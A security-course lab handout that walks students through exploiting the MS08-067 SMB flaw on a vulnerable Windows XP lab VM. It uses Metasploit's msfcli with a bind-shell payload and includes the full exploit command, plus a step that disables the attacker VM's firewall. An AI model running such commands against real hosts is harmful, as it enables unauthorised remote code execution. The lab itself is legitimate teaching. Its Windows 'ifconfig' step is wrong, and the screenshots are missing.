(Metasploit: MS08-067)

{ Using the MsfCli to Grab A DOS Command Prompt }

1. What is MSfCli?
   • Metasploit Command Line Interface allows for exploits to be executed from the Unix and Windows command line without the need to first launch the msfconsole.
   • It is particularly useful when a large number of systems need to be tested for the same vulnerability.

    

2. http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx
   • The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.
   • Firewall best practices and standard default firewall configurations can help protect network resources from attacks that originate outside the enterprise perimeter.

1. Login to your WindowsVulnerable VM, as username instructor
   • For those of you that are not part of this class, this is a Windows XP machines that is vulnerable to the MS08-067 Vulnerability.

    

2. On WindowsVulnerable01, obtain the IP Address.
   • START --> run --> cmd --> ifconfig
   • In my case, WindowsVulnerable01's IP Address 192.168.1.120.
   • 

    

3. Login to your Backtrack01 VM, as username root
   • 

    

4. startx
   • Issue the startx command if you are currently are only seeing a console and not a graphical user interface.
   • 

1. Fire up a console or terminal window
   • System --> Konsole
   • 

    

2. ifconfig
   • Example:  No IP Address for eth0
     • If a valid IP address for eth0 is not displayed please move onto step 3.
     • 

      

   • Example: Valid IP Address for eth0
     • 

      

3. vi /etc/network/interfaces
   • 

    

4. Your file should look similar to the below screen shot
   • 

    

5. cd /etc/init.d/
   • 

    

6. ./networking start
   • 

    

7. Confirm you have a valid IP address for eth0
   • In my case, eth0's IP address is 192.168.1.117.
   • 

1. Start Firestarter
   • System --> Firestarter
   • 

    

2. Click on Stop Firewall
   • 

1. Fire up the MsfCli (See Below)
   • Note It might take a while to start.
   • 

    

2. Once MsfCli Loads, you will a similar screen (See Below)
   • 

1. Issue the below command (See Below)
   •  Command: ./msfcli windows/smb/ms08_067_netapi S
     

    

2. Basically, you will what Operating Systems are affected by the exploit, the required options, and a brief description (See Below)
   • 

1. Issue the below command (See Below)
   •  Command: ./msfcli windows/smb/ms08_067_netapi P
     

    

2. You will see all the payloads that are associated with windows/smb/ms08_067_netapi. (See Below)
   • 

    

1. Issue the below command (See Below)
   •  Command: ./msfcli windows/smb/ms08_067_netapi PAYLOAD=windows/shell_bind_tcp O
   • 

    

2. You will see all the options for the particular payload for exploit windows/smb/ms08_067_netapi. (See Below)
   • 

   
    

1. Issue the below command (See Below)
   • ./msfcli windows/smb/ms08_067_netapi PAYLOAD=windows/shell_bind_tcp RHOST=192.168.1.120 E
     • "windows/smb/ms08_067_netapi" - is the MS08-067 exploit.

      

     • "windows/shell_bind_tcp" - is the payload to provide a command line interface to Windows.

      

     • "192.168.1.120" - is the IP Address of WindowsVulnerable01.  In your case, it will probably be different.

      

     • "E" - means to exploit.

   • 

    

2. If exploit is successful, you will see the below Windows Command Line Interface.
   • 

    

3. From the Windows Command Line, issue both the date and time command (See Below).
   • Proof of Lab: Issue and screen print, paste into a word document, and upload to Moodle.
   • 

1. Cut and Paste a screen shot that looks similar to Step #3 in Section 8 into a word document and upload to Moodle.